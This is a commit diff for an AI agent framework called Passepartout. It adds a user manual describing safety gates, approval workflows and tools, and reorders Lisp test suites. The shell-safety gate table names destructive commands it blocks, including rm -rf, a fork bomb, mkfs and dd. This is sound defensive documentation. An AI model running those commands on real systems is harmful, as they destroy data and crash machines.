v0.8.2: cleanup + prose + structure + decomposition + budget + errors

Phase 1 — dedup + hardening (~9 items):
- Remove duplicate *skill-registry* defvar from core-skills
- Merge *backend-registry* into *probabilistic-backends*, delete backend-register
- Remove inject-stimulus alias, standardize on stimulus-inject
- Add pre-eval sandbox (skill-source-scan) blocks restricted symbols before eval
- Remove dead plist-get function; remove duplicate json-alist-to-plist export
- Fix read-framed-message whitespace DoS (4096-iteration max)
- Add *read-eval* nil to dispatcher-approvals-process read-from-string (RCE)
- Add test-op to ASDF; update .asd version 0.4.3→0.7.2

Phase 2 — prose + contracts + reorder:
- Split ROADMAP: 2623→1089 lines (TODO only), CHANGELOG: 260→1528 lines (full DONE history, 14 versions reverse chron)
- Add Contracts + Overview to 6 channel files + embedding-native + programming-standards + symbolic-scope
- Reorder 28 .org files: Contract → Test Suite → Implementation (TDD order)
- Add 7-phase inline prose to think() in core-reason
- Expand USER_MANUAL: 183→461 lines (10 new sections)

Phase 3 — decomposition + export organization:
- Decompose think() into think-assemble-prompt, think-call-llm, think-parse-response orchestrator
- Organize 188 exports into 16 grouped sections by module

Phase 4 — budget enforcement + error protocol:
- Per-session budget enforcement (SESSION_BUDGET_USD env var, budget-exhausted-p, guard in think-call-llm)
- Error condition hierarchy (6 conditions: pipeline-error, llm-error, gate-error, budget-error, protocol-error)
- Restarts in loop-process: skip-signal, use-fallback, abort-pipeline

docs/USER_MANUAL.org

@@ -24,11 +24,11 @@ This will:
 If you already have Emacs installed, the installer skips it and uses your existing installation.
 
 * Configuration
-The system is configured via a `.env` file in the project root. Essential variables include:
+The system is configured via a ~.env~ file in the project root. Essential variables include:
 
-- `OPENROUTER_API_KEY`: Your LLM provider key.
+- ~OPENROUTER_API_KEY~: Your LLM provider key.
-- `PROVIDER_CASCADE`: The fallback order for LLM providers (e.g., `openrouter,ollama,anthropic`).
+- ~PROVIDER_CASCADE~: The fallback order for LLM providers (e.g., ~openrouter,ollama,anthropic~).
-- `MEMEX_DIR`: The absolute path to your knowledge base (defaults to `~/memex`).
+- ~MEMEX_DIR~: The absolute path to your knowledge base (defaults to ~/memex~).
 
 * Interacting with Passepartout
 Because of the Unified Envelope Architecture, the kernel treats all clients as interchangeable. You must first boot the background daemon:
@@ -86,8 +86,286 @@ Each approval or denial teaches the Dispatcher — the rule counter in the statu
 * The Memex Structure
 Passepartout assumes a local folder structure representing your "Memex".
 - Core memories and identities are mapped to Org-mode files.
-- The `Scribe` background worker distills chronological logs into structured Zettelkasten notes.
+- The ~Scribe~ background worker distills chronological logs into structured Zettelkasten notes.
-- The `Gardener` continuously repairs broken links and flags orphaned nodes.
+- The ~Gardener~ continuously repairs broken links and flags orphaned nodes.
+
+* How Safety Works
+
+Passepartout enforces safety through ten deterministic gates. Every action the agent wants to take — reading a file, running a shell command, sending network traffic — passes through these gates before execution. Critically, all ten gates are pure Lisp functions: they cost zero LLM tokens to evaluate. Safety checking never touches your provider budget.
+
+** The Ten Safety Gates
+
+| Gate | What It Checks |
+|------+----------------|
+| Lisp syntax | Validates that any Lisp code is well-formed before evaluation |
+| Secret file paths | Blocks reads from known secret directories (~.ssh~, ~.env~, ~.aws~, etc.) |
+| Self-build core | Prevents modification of the agent's own source and build files |
+| Secret content | Scans text output for API keys, tokens, or credential patterns |
+| Vault secrets | Guards any secret stored in the encrypted vault |
+| Privacy tags | Respects ~@privacy:~ annotations on memory objects and files |
+| Privacy text leaks | Scans outgoing text for PII (emails, phone numbers, addresses) |
+| Shell safety | Blocks destructive commands (~rm -rf~, ~:(){:|:&};:~, ~mkfs~, ~dd~) |
+| Network exfiltration | Blocks outbound traffic carrying private data to unknown hosts |
+| High-impact actions | Catches system-level changes (package installs, service restarts, mount) |
+
+** Severity Tiers
+
+Each gate assigns a severity to the action it inspects:
+
+| Severity   | Behavior                                              |
+|------------+-------------------------------------------------------|
+| Catastrophic | Always blocked. No approval possible.                |
+| Dangerous    | Requires HITL approval. Generates a Flight Plan.    |
+| Moderate     | Allowed, but logged. The agent learns from the outcome. |
+| Harmless     | Always allowed. No logging overhead.                 |
+
+** What Happens When an Action Is Blocked
+
+When a gate blocks an action, the Dispatcher creates a Flight Plan — a structured record of what the agent wants to do, why it was blocked, and which gate triggered. The Flight Plan is presented to you for review. You can approve it (~/approve~), deny it (~/deny~), or ask the agent to clarify its intent (~/clarify~). Once you approve, the action executes immediately. Once you deny, the Dispatcher records the decision as a permanent rule and will never propose that action again.
+
+* Understanding Context and Focus
+
+Passepartout uses a foveal-peripheral context model, inspired by human vision. This is how the agent decides what to pay attention to in your Memex.
+
+** The Three Levels of Attention
+
+- ~/foveal/~ — What the agent reads deeply and reasons about right now. Anything you explicitly mention, plus the current focused project.
+- ~/peripheral/~ — What the agent knows exists (titles, summaries, metadata) but does not read in detail. Everything in scope.
+- ~/blind/~ — Outside scope. The agent cannot see or access it.
+
+** Focus Commands
+
+| Command             | Effect                                                  |
+|---------------------+---------------------------------------------------------|
+| ~/focus <project>~  | Set the agent's foveal attention to a project           |
+| ~/scope memex~      | Expand scope to everything in your Memex               |
+| ~/scope session~    | Narrow scope to just the current conversation           |
+| ~/scope project~    | Narrow scope to the focused project only               |
+| ~/unfocus~          | Clear the foveal focus; the agent sees everything at peripheral level |
+
+** The Focus Map
+
+The status bar displays a focus map — a compact representation of what the agent is "looking at." Projects in foveal view are highlighted; peripheral projects are dimmed. When you change focus, the map updates in real time so you always know the agent's current attention budget.
+
+* Skills and What They Do
+
+Skills are hot-reloadable modules that extend the agent's capabilities. Unlike core system files, a bug in a skill degrades the agent but does not kill it — skills can be repaired by the agent itself. Skills are organized into categories by function:
+
+** Core Pipeline
+The agent's cognitive loop: Perceive (consume input) → Reason (think with the LLM) → Act (execute tools). This is the central nervous system of the agent.
+
+** Security
+~Dispatcher~, ~Policy~, ~Permissions~, ~Validator~, ~Vault~. These skills enforce the safety gates, manage approval workflows, encrypt secrets, and verify that every action conforms to the rules you have set.
+
+** Channels
+~TUI~, ~CLI~, ~Telegram~, ~Signal~, ~Discord~, ~Slack~, ~Shell~. Each channel is a separate skill that handles I/O for a specific interface. All channels are equal citizens — the agent treats a message from Telegram identically to one typed in the TUI.
+
+** Programming
+~Lisp~, ~Org~, literate tools, ~REPL~, standards libraries. These skills allow the agent to write, evaluate, and reason about Lisp code, manage Org-mode documents, and tangle literate programs into runnable source.
+
+** Symbolic
+~Awareness~, ~Scope~, ~Events~, ~Config~, ~Memory~, ~Identity~, ~Time~. These skills manage the agent's internal state: what it knows about itself, what it remembers, how it configures its behavior, and how it tracks time and events.
+
+** Neuro
+~Provider~, ~Router~, ~Explorer~. These skills manage the LLM backends. The Provider skill abstracts each LLM API; the Router decides which provider to use based on cost, latency, and availability; the Explorer discovers new providers.
+
+** Embedding
+Backends for semantic search and native inference. These skills enable the agent to embed text, search your Memex by meaning rather than exact keyword, and run local inference without network calls.
+
+** Economics
+~Tokenizer~, ~Cost Tracker~, ~Token Economics~. These skills count tokens, estimate costs before making LLM calls, track spending across providers, and enforce budget limits.
+
+* The Tool System
+
+The agent has ten cognitive tools — discrete actions it can take to interact with your environment. Each tool maps to a specific capability.
+
+** Read-Only Tools
+
+| Tool              | What It Does                                |
+|-------------------+---------------------------------------------|
+| ~search-files~    | Search file contents with regex patterns    |
+| ~find-files~      | Find files by name using glob patterns      |
+| ~read-file~       | Read the contents of a file on disk         |
+| ~list-directory~  | List the contents of a directory            |
+| ~org-find-headline~ | Find a headline in an Org-mode file       |
+
+** Write Tools
+
+| Tool              | What It Does                                |
+|-------------------+---------------------------------------------|
+| ~write-file~      | Create or overwrite a file on disk          |
+| ~org-modify-file~ | Modify an Org-mode file structurally        |
+| ~run-shell~       | Execute a shell command                     |
+| ~eval-form~       | Evaluate a Lisp expression                  |
+| ~run-tests~       | Execute a test suite                        |
+
+** Auto-Approval
+
+Write tools are subject to safety-gate inspection. Read-only tools are auto-approved by default (though the agent still checks for secret-file reads). You can configure per-tool auto-approval in your ~.env~ file with the ~AUTO_APPROVE_TOOLS~ variable:
+
+#+begin_src bash
+# Auto-approve read-file and find-files (default)
+AUTO_APPROVE_TOOLS=read-file,find-files,list-directory,search-files
+#+end_src
+
+* Cost Tracking
+
+Every LLM call costs tokens, and tokens cost money. Passepartout tracks this transparently.
+
+** Token Budgets
+
+Set ~CONTEXT_MAX_TOKENS~ in your ~.env~ file to cap the total context window the agent may use per interaction:
+
+#+begin_src bash
+CONTEXT_MAX_TOKENS=128000
+#+end_src
+
+The agent will truncate older context rather than exceed this limit.
+
+** Per-Call Cost Tracking
+
+Before every LLM call, the Economics skill estimates the cost (prompt tokens + expected completion tokens) and checks it against your budget. After the call, it records actual usage. The status bar shows your session total.
+
+** The ~/cost~ Command
+
+Toggle cost display in the status bar with ~/cost~. When enabled, you'll see a running total like ~[$0.047]~ showing the estimated cost of the current session.
+
+** Per-Provider Pricing
+
+Different providers charge different rates. The Router skill is aware of this and will choose the cheapest viable provider for each call unless you pin a specific provider:
+
+#+begin_src bash
+# Pin to a specific provider
+PROVIDER_CASCADE=anthropic
+#+end_src
+
+** Prompt Prefix Caching
+
+Providers that support prefix caching (Claude via Anthropic, some OpenRouter models) automatically benefit from it. The agent reuses the system prompt prefix across calls, and the Economics skill tracks the cache-hit savings separately in the cost breakdown.
+
+* Session Control
+
+Passepartout maintains a session history with checkpointed memory snapshots. You can move backward and forward through your session state.
+
+** Undo and Redo
+
+| Command      | Effect                                                   |
+|--------------+----------------------------------------------------------|
+| ~/undo~      | Restore the memory to the state before your last action  |
+| ~/redo~      | Re-apply the last undone action                          |
+| ~/rewind <n>~ | Restore the memory to the state n actions ago           |
+
+** What Gets Restored
+
+A session rewind restores three things: file changes (files written or modified are reverted), memory objects (the agent's internal knowledge), and TODO states (the roadmap and task tracking). This means you can safely let the agent explore and experiment — if it goes down a wrong path, rewind and redirect.
+
+* Gate Trace Reference
+
+Below every agent message in the TUI, you'll see colored lines representing the safety-gate trace for that message. These show you exactly which gates ran on the agent's actions and what happened.
+
+| Symbol | Meaning                                                    |
+|--------+------------------------------------------------------------|
+| ~✓~    | Green — the gate passed. The action was allowed.            |
+| ~✗~    | Red — the gate blocked the action. The reason is shown.     |
+| ~→~    | Yellow — HITL approval required. A Flight Plan is pending.  |
+
+Press ~Ctrl+G~ to toggle gate trace visibility on and off. The most recent gate trace for your last interaction is always available via the ~/why~ command — type ~/why~ and the agent will display the full trace with explanations.
+
+* Tag System
+
+Passepartout uses an Org-mode tag system to annotate and control behavior. Tags are metadata appended to headlines and memory objects.
+
+** Severity Tags
+
+The ~@tag:severity~ tier controls how strictly the safety system handles a tagged item:
+
+| Tag              | Behavior                                                     |
+|------------------+--------------------------------------------------------------|
+| ~@tag:block~     | The tagged item is treated as catastrophic — always blocked  |
+| ~@tag:warn~      | The tagged item triggers HITL approval when accessed         |
+| ~@tag:log~       | Access is allowed but logged for audit                       |
+
+** Tag Categories
+
+Configure which tags trigger which behavior with the ~TAG_CATEGORIES~ environment variable:
+
+#+begin_src bash
+TAG_CATEGORIES=block:warn:log
+#+end_src
+
+** The ~/tags~ Command
+
+Type ~/tags~ to list all tags currently active in the agent's scope, along with their severity levels and the files or memory objects they apply to.
+
+* HITL Deep Dive
+
+When the Safety system blocks an action, a structured workflow begins. Understanding this workflow helps you make informed approval decisions quickly.
+
+** The Flight Plan Lifecycle
+
+1. /Trigger/: A gate rates an action Dangerous or Catastrophic, or a ~@tag:warn~ tag is encountered.
+2. /Plan/: The Dispatcher serializes the proposed action into a Flight Plan: what tool, what arguments, what file or command, which gate triggered.
+3. /Display/: The TUI shows a yellow prompt with the Flight Plan token (~HITL-ab12~).
+4. /Review/: Press ~Tab~ to expand the gate trace and see the full Flight Plan details.
+5. /Decision/: You type ~/approve HITL-ab12~ or ~/deny HITL-ab12~.
+6. /Execute or Discard/: Approved plans execute immediately. Denied plans are discarded.
+7. /Learn/: The Dispatcher increments its rule counter and records the decision as a permanent rule. If you denied an action, the Dispatcher will never propose it again.
+
+** Clarifying Questions
+
+If you are unsure why the agent wants to perform an action, you can ignore the Flight Plan prompt. After three retries without a decision, the agent escalates by injecting a ~/clarify~ message into the pipeline, asking the agent to explain its intent in plain language. You can then approve or deny with full context.
+
+** The Rule Counter
+
+The status bar shows ~[Rules: N]~ — the number of permanent rules the Dispatcher has learned from your decisions. Each approval or denial is a learning event. Over time, the Dispatcher builds a personalized safety profile that reflects your preferences: which actions you always approve, which you always deny, and which you want to review case by case.
+
+* TUI Keybinding Reference
+
+The TUI supports a rich set of keyboard shortcuts for efficient interaction.
+
+** Editing Keys
+
+| Combo     | Action                                    |
+|-----------+-------------------------------------------|
+| ~Ctrl+D~  | Quit the TUI                              |
+| ~Ctrl+U~  | Clear the current input line              |
+| ~Ctrl+W~  | Delete the word before the cursor         |
+| ~Ctrl+A~  | Move cursor to beginning of line (Home)   |
+| ~Ctrl+E~  | Move cursor to end of line               |
+| ~Ctrl+K~  | Delete from cursor to end of line         |
+| ~Ctrl+L~  | Redraw the screen                         |
+| ~Ctrl+X+E~ | Open the current input in your external editor (~$EDITOR~) |
+| ~Tab~     | Autocomplete commands, themes, and file paths |
+
+** Navigation and Control
+
+| Combo            | Action                                           |
+|------------------+--------------------------------------------------|
+| ~Ctrl+C~         | Interrupt (cascade: stop streaming → stop thinking → quit) |
+| ~Ctrl+F~         | Search through message history                   |
+| ~Ctrl+P~         | Open the command palette                         |
+| ~Ctrl+G~         | Toggle gate trace visibility                     |
+| ~Ctrl+X+B~       | Toggle the sidebar (focus map, memory browser)   |
+| ~Page Up~        | Scroll chat up by 10 lines                       |
+| ~Page Down~      | Scroll chat down by 10 lines                     |
+| ~Up Arrow~       | Previous input in command history                |
+| ~Down Arrow~     | Next input in command history                    |
+
+** The Status Bar
+
+The status bar at the bottom of the TUI shows the agent's current state at a glance. Each indicator has a specific meaning:
+
+| Indicator        | Meaning                                                            |
+|------------------+--------------------------------------------------------------------|
+| ~[Connected]~    | Green — daemon is reachable on port 9105. Gray — disconnected.     |
+| ~[Mode: TUI]~    | The current interaction mode (TUI, CLI, Telegram, etc.)            |
+| ~[Msg: 142]~     | Total messages in the current session                              |
+| ~[↑ 12]~         | Scroll indicator — you are scrolled up 12 lines from the bottom    |
+| ~[◉]~            | Activity spinner — spinning means the agent is working             |
+| ~[⟳]~            | Streaming indicator — shown while the agent is generating text     |
+| ~[$0.047]~       | Session cost (visible when ~/cost~ is toggled on)                  |
+| ~[Rules: 52]~    | Number of permanent HITL rules learned from your decisions         |
+| ~[prj:my-proj]~  | Current focused project name                                       |
 
 * Deployment
 
@@ -180,4 +458,4 @@ Restores from a backup file. Run ~passepartout doctor~ afterward to verify integ
 ** Memory fails to load on startup
 - Check ~/memory.snap~ exists and is valid S-expression format
 - Run ~passepartout doctor~ to diagnose memory integrity
-- If corrupted, delete ~/memory.snap~ and restart — the daemon starts with empty memory
+- If corrupted, delete ~/memory.snap~ and restart — the daemon starts with empty memory

lisp/channel-cli.lisp

@@ -1,16 +1,3 @@
-(in-package :passepartout)
-
-(defun channel-cli-input (text)
-  "Processes raw text from the command line."
-  (inject-stimulus (list :type :EVENT 
-                         :payload (list :sensor :user-input :text text) 
-                         :meta (list :source :CLI))))
-
-(defskill :passepartout-channel-cli
-  :priority 100
-  :trigger (lambda (ctx) (eq (getf (getf ctx :meta) :source) :CLI))
-  :deterministic (lambda (action ctx) (declare (ignore ctx)) action))
-
 (eval-when (:compile-toplevel :load-toplevel :execute)
   (ql:quickload :fiveam :silent t))
 
@@ -33,3 +20,16 @@
 (handler-case
     (progn (channel-cli-input "test-load") (log-message "CLI: Load-time test OK"))
   (error (c) (log-message "CLI: Load-time test FAILED: ~a" c)))
+
+(in-package :passepartout)
+
+(defun channel-cli-input (text)
+  "Processes raw text from the command line."
+  (stimulus-inject (list :type :EVENT 
+                         :payload (list :sensor :user-input :text text) 
+                         :meta (list :source :CLI))))
+
+(defskill :passepartout-channel-cli
+  :priority 100
+  :trigger (lambda (ctx) (eq (getf (getf ctx :meta) :source) :CLI))
+  :deterministic (lambda (action ctx) (declare (ignore ctx)) action))

lisp/channel-shell.lisp

@@ -1,3 +1,35 @@
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-shell-actuator-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:shell-actuator-suite))
+
+(in-package :passepartout-shell-actuator-tests)
+
+(def-suite shell-actuator-suite :description "Verification of the Shell Actuator")
+(in-suite shell-actuator-suite)
+
+(test test-bwrap-wrap-command
+  "Contract 2: bwrap-wrap-command returns properly formatted command list."
+  (let ((cmdline (passepartout::bwrap-wrap-command "echo hello" 30 "/home/user/memex")))
+    (is (member "bwrap" cmdline :test #'string=))
+    (is (member "--unshare-net" cmdline :test #'string=))
+    (is (member "--unshare-ipc" cmdline :test #'string=))
+    (is (member "echo hello" cmdline :test #'string=))))
+
+(test test-bwrap-available-p-returns-boolean
+  "Contract 1: bwrap-available-p returns T or NIL."
+  (let ((avail (passepartout::bwrap-available-p)))
+    (is (typep avail 'boolean))))
+
+(test test-actuator-shell-execute-echo
+  "Contract 3: actuator-shell-execute runs echo and returns output."
+  (let* ((action '(:type :REQUEST :target :shell :payload (:cmd "echo hello")))
+         (result (passepartout::actuator-shell-execute action nil)))
+    (is (stringp result))
+    (is (search "hello" result :test #'char-equal))))
+
 (in-package :passepartout)
 
 (defvar *bwrap-available* nil
@@ -61,35 +93,3 @@ When bwrap is available, wraps the command in a Linux namespace sandbox."
 (defskill :passepartout-channel-shell
   :priority 50
   :trigger (lambda (ctx) (declare (ignore ctx)) nil))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-shell-actuator-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:shell-actuator-suite))
-
-(in-package :passepartout-shell-actuator-tests)
-
-(def-suite shell-actuator-suite :description "Verification of the Shell Actuator")
-(in-suite shell-actuator-suite)
-
-(test test-bwrap-wrap-command
-  "Contract 2: bwrap-wrap-command returns properly formatted command list."
-  (let ((cmdline (passepartout::bwrap-wrap-command "echo hello" 30 "/home/user/memex")))
-    (is (member "bwrap" cmdline :test #'string=))
-    (is (member "--unshare-net" cmdline :test #'string=))
-    (is (member "--unshare-ipc" cmdline :test #'string=))
-    (is (member "echo hello" cmdline :test #'string=))))
-
-(test test-bwrap-available-p-returns-boolean
-  "Contract 1: bwrap-available-p returns T or NIL."
-  (let ((avail (passepartout::bwrap-available-p)))
-    (is (typep avail 'boolean))))
-
-(test test-actuator-shell-execute-echo
-  "Contract 3: actuator-shell-execute runs echo and returns output."
-  (let* ((action '(:type :REQUEST :target :shell :payload (:cmd "echo hello")))
-         (result (passepartout::actuator-shell-execute action nil)))
-    (is (stringp result))
-    (is (search "hello" result :test #'char-equal))))

lisp/channel-tui-view.lisp

@@ -136,6 +136,114 @@
     (when id (view-input iw))
      (setf (st :dirty) (list nil nil nil))))
 
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-tui-view-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:tui-view-suite))
+
+(in-package :passepartout-tui-view-tests)
+
+(def-suite tui-view-suite :description "TUI view rendering helpers")
+(in-suite tui-view-suite)
+
+(test test-char-width-ascii
+  "Contract 5: ASCII characters (< 128) have width 1."
+  (is (= 1 (passepartout::char-width #\a)))
+  (is (= 1 (passepartout::char-width #\Space)))
+  (is (= 1 (passepartout::char-width #\@))))
+
+(test test-char-width-tab
+  "Contract 5: tab character has width 8."
+  (is (= 8 (passepartout::char-width #\Tab))))
+
+(test test-char-width-cjk
+  "Contract 5: CJK characters have width 2."
+  (is (= 2 (passepartout::char-width #\日))))
+
+(test test-char-width-null
+  "Contract 5: null has width 0."
+  (is (= 0 (passepartout::char-width #\Nul))))
+
+(test test-markdown-bold
+  "Contract 7: parse-markdown-spans detects **bold**."
+  (let ((segments (passepartout::parse-markdown-spans "hello **world**!")))
+    (is (= 3 (length segments)))))
+
+(test test-markdown-plain
+  "Contract 7: plain text returns single segment."
+  (let ((segments (passepartout::parse-markdown-spans "plain")))
+    (is (= 1 (length segments)))
+    (is (string= "plain" (caar segments)))))
+
+(test test-markdown-url
+  "Contract 7: parse-markdown-spans detects URLs."
+  (let ((segments (passepartout::parse-markdown-spans "see https://example.com for more")))
+    (is (>= (length segments) 2))
+    (is (find t segments :key (lambda (s) (getf (cdr s) :url))))))
+
+(test test-markdown-blocks
+  "Contract 8: parse-markdown-blocks detects code blocks."
+  (let* ((text (format nil "before~%```lisp~%(+ 1 2)~%```~%after"))
+         (segs (passepartout::parse-markdown-blocks text)))
+    (is (= 3 (length segs)))
+    (let ((code (second segs)))
+      (is (eq t (getf code :code-block)))
+      (is (string= "lisp" (getf code :lang)))
+      (is (string= "(+ 1 2)" (string-trim '(#\Space #\Newline) (getf code :content)))))))
+
+(test test-markdown-blocks-no-close
+  "Contract 8: unclosed code block returns content."
+  (let* ((text (format nil "```~%unclosed code"))
+         (segs (passepartout::parse-markdown-blocks text)))
+    (is (= 1 (length segs)))
+    (is (eq t (getf (first segs) :code-block)))))
+
+(test test-syntax-highlight
+  "Contract 9: syntax-highlight colors Lisp code."
+  (let ((segs (passepartout::syntax-highlight "(defun foo (x) (+ x 1))" "lisp")))
+    (is (>= (length segs) 3))))
+
+(test test-syntax-highlight-keyword
+  "Contract 9: syntax-highlight colors keywords."
+  (let ((segs (passepartout::syntax-highlight "(let ((x 1)) (+ x 2))" "lisp")))
+    (is (>= (length segs) 2))
+    (is (find :keyword segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
+
+(test test-syntax-highlight-function
+  "Contract 9: syntax-highlight colors function calls."
+  (let ((segs (passepartout::syntax-highlight "(+ 1 2)" "lisp")))
+    (is (>= (length segs) 2))
+    (is (find :function segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
+
+(test test-gate-trace-lines-passed
+  "Contract 9: gate-trace-lines for passed gate."
+  (let ((lines (passepartout::gate-trace-lines
+                '((:gate "path" :result :passed)))))
+    (is (= 1 (length lines)))
+    (is (eq :gate-passed (getf (cdar lines) :fgcolor)))))
+
+(test test-gate-trace-lines-blocked
+  "Contract 9: gate-trace-lines for blocked gate."
+  (let ((lines (passepartout::gate-trace-lines
+                '((:gate "shell" :result :blocked :reason "rm")))))
+    (is (= 1 (length lines)))
+    (is (search "rm" (caar lines)))))
+
+(test test-gate-trace-lines-approval
+  "Contract 9: gate-trace-lines for approval gate."
+  (let ((lines (passepartout::gate-trace-lines
+                '((:gate "network" :result :approval)))))
+    (is (= 1 (length lines)))
+    (is (search "HITL" (caar lines)))))
+
+(test test-init-state-has-collapsed-gates
+  "Contract v0.7.2: init-state includes :collapsed-gates field."
+  (passepartout.channel-tui::init-state)
+  (let ((cg (passepartout.channel-tui::st :collapsed-gates)))
+    (is (null cg))))
+
 (in-package :passepartout)
 
 (defun char-width (ch)
@@ -524,114 +632,6 @@ Respects CJK/emoji char widths via char-width."
     (refresh win)
     (- h 1)))
 
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-tui-view-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:tui-view-suite))
-
-(in-package :passepartout-tui-view-tests)
-
-(def-suite tui-view-suite :description "TUI view rendering helpers")
-(in-suite tui-view-suite)
-
-(test test-char-width-ascii
-  "Contract 5: ASCII characters (< 128) have width 1."
-  (is (= 1 (passepartout::char-width #\a)))
-  (is (= 1 (passepartout::char-width #\Space)))
-  (is (= 1 (passepartout::char-width #\@))))
-
-(test test-char-width-tab
-  "Contract 5: tab character has width 8."
-  (is (= 8 (passepartout::char-width #\Tab))))
-
-(test test-char-width-cjk
-  "Contract 5: CJK characters have width 2."
-  (is (= 2 (passepartout::char-width #\日))))
-
-(test test-char-width-null
-  "Contract 5: null has width 0."
-  (is (= 0 (passepartout::char-width #\Nul))))
-
-(test test-markdown-bold
-  "Contract 7: parse-markdown-spans detects **bold**."
-  (let ((segments (passepartout::parse-markdown-spans "hello **world**!")))
-    (is (= 3 (length segments)))))
-
-(test test-markdown-plain
-  "Contract 7: plain text returns single segment."
-  (let ((segments (passepartout::parse-markdown-spans "plain")))
-    (is (= 1 (length segments)))
-    (is (string= "plain" (caar segments)))))
-
-(test test-markdown-url
-  "Contract 7: parse-markdown-spans detects URLs."
-  (let ((segments (passepartout::parse-markdown-spans "see https://example.com for more")))
-    (is (>= (length segments) 2))
-    (is (find t segments :key (lambda (s) (getf (cdr s) :url))))))
-
-(test test-markdown-blocks
-  "Contract 8: parse-markdown-blocks detects code blocks."
-  (let* ((text (format nil "before~%```lisp~%(+ 1 2)~%```~%after"))
-         (segs (passepartout::parse-markdown-blocks text)))
-    (is (= 3 (length segs)))
-    (let ((code (second segs)))
-      (is (eq t (getf code :code-block)))
-      (is (string= "lisp" (getf code :lang)))
-      (is (string= "(+ 1 2)" (string-trim '(#\Space #\Newline) (getf code :content)))))))
-
-(test test-markdown-blocks-no-close
-  "Contract 8: unclosed code block returns content."
-  (let* ((text (format nil "```~%unclosed code"))
-         (segs (passepartout::parse-markdown-blocks text)))
-    (is (= 1 (length segs)))
-    (is (eq t (getf (first segs) :code-block)))))
-
-(test test-syntax-highlight
-  "Contract 9: syntax-highlight colors Lisp code."
-  (let ((segs (passepartout::syntax-highlight "(defun foo (x) (+ x 1))" "lisp")))
-    (is (>= (length segs) 3))))
-
-(test test-syntax-highlight-keyword
-  "Contract 9: syntax-highlight colors keywords."
-  (let ((segs (passepartout::syntax-highlight "(let ((x 1)) (+ x 2))" "lisp")))
-    (is (>= (length segs) 2))
-    (is (find :keyword segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
-
-(test test-syntax-highlight-function
-  "Contract 9: syntax-highlight colors function calls."
-  (let ((segs (passepartout::syntax-highlight "(+ 1 2)" "lisp")))
-    (is (>= (length segs) 2))
-    (is (find :function segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
-
-(test test-gate-trace-lines-passed
-  "Contract 9: gate-trace-lines for passed gate."
-  (let ((lines (passepartout::gate-trace-lines
-                '((:gate "path" :result :passed)))))
-    (is (= 1 (length lines)))
-    (is (eq :gate-passed (getf (cdar lines) :fgcolor)))))
-
-(test test-gate-trace-lines-blocked
-  "Contract 9: gate-trace-lines for blocked gate."
-  (let ((lines (passepartout::gate-trace-lines
-                '((:gate "shell" :result :blocked :reason "rm")))))
-    (is (= 1 (length lines)))
-    (is (search "rm" (caar lines)))))
-
-(test test-gate-trace-lines-approval
-  "Contract 9: gate-trace-lines for approval gate."
-  (let ((lines (passepartout::gate-trace-lines
-                '((:gate "network" :result :approval)))))
-    (is (= 1 (length lines)))
-    (is (search "HITL" (caar lines)))))
-
-(test test-init-state-has-collapsed-gates
-  "Contract v0.7.2: init-state includes :collapsed-gates field."
-  (passepartout.channel-tui::init-state)
-  (let ((cg (passepartout.channel-tui::st :collapsed-gates)))
-    (is (null cg))))
-
 (in-package :passepartout-tui-view-tests)
 
 (test test-theme-hex-string-keys-exist

lisp/core-act.lisp

@@ -1,3 +1,125 @@
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-pipeline-act-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:pipeline-act-suite))
+
+(in-package :passepartout-pipeline-act-tests)
+
+(def-suite pipeline-act-suite :description "Test suite for Act pipeline")
+(in-suite pipeline-act-suite)
+
+(test test-loop-gate-act-basic
+  "Contract 1: approved action reaches :acted status via loop-gate-act."
+  (clrhash passepartout::*skill-registry*)
+  (let* ((signal (list :type :EVENT :status nil :depth 0 :approved-action '(:target :cli :payload (:text "Hello"))))
+          (result (loop-gate-act signal)))
+    (is (eq :acted (getf signal :status)))
+    (is (null result))))
+
+(test test-loop-gate-act-no-approved-action
+  "Contract 1: signal with no approved-action still reaches :acted status."
+  (clrhash passepartout::*skill-registry*)
+  (let* ((signal (list :type :EVENT :status nil :depth 0)))
+    (loop-gate-act signal)
+    (is (eq :acted (getf signal :status)))))
+
+(test test-loop-gate-act-last-mile-reject
+  "Contract 1: last-mile cognitive-verify rejection blocks approved-action."
+  (clrhash passepartout::*skill-registry*)
+  (passepartout::defskill :mock-blocker
+    :priority 50
+    :trigger (lambda (ctx) (declare (ignore ctx)) t)
+    :deterministic (lambda (action ctx)
+                    (declare (ignore ctx action))
+                    (list :type :LOG :payload (list :text "Last-mile block"))))
+  (let* ((signal (list :type :EVENT :status nil :depth 0
+                        :approved-action '(:type :REQUEST :target :cli :payload (:text "blocked")))))
+    (loop-gate-act signal)
+    (is (eq :acted (getf signal :status)))
+    (is (null (getf signal :approved-action)))))
+
+(test test-loop-gate-act-preserves-meta
+  "Contract 1: signal metadata is not mutated by loop-gate-act."
+  (clrhash passepartout::*skill-registry*)
+  (let* ((meta '(:source :tui :session "s1"))
+         (signal (list :type :EVENT :status nil :depth 0 :meta meta
+                        :approved-action '(:target :cli :payload (:text "test")))))
+    (loop-gate-act signal)
+    (is (equal meta (getf signal :meta)))))
+
+(test test-action-dispatch-routes
+  "Contract 3: action-dispatch routes to registered actuators without crashing."
+  (actuator-initialize)
+  (let ((result (action-dispatch '(:type :REQUEST :target :system :payload (:action :eval :code "(+ 1 2)"))
+                                  '(:type :EVENT :depth 0))))
+    (is (numberp result) "eval should return a number")))
+
+(test test-tool-timeout-shell
+  "Contract v0.7.2: shell timeout is 300 seconds."
+  (is (= 300 (passepartout::tool-timeout "shell"))))
+
+(test test-tool-timeout-unknown
+  "Contract v0.7.2: unknown tool gets default 120s."
